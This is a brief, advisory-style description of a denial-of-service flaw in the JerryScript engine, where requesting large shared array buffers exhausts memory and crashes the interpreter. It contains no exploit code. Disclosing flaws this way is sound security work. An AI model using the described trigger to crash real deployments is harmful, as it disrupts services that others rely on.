The JerryScript engine has a vulnerability that allows for a Denial of Service (DoS) due to an out-of-memory condition when attempting to allocate large memory blocks. This can be triggered by executing JavaScript code that requests large shared array buffers, leading to a crash of the JerryScript interpreter.
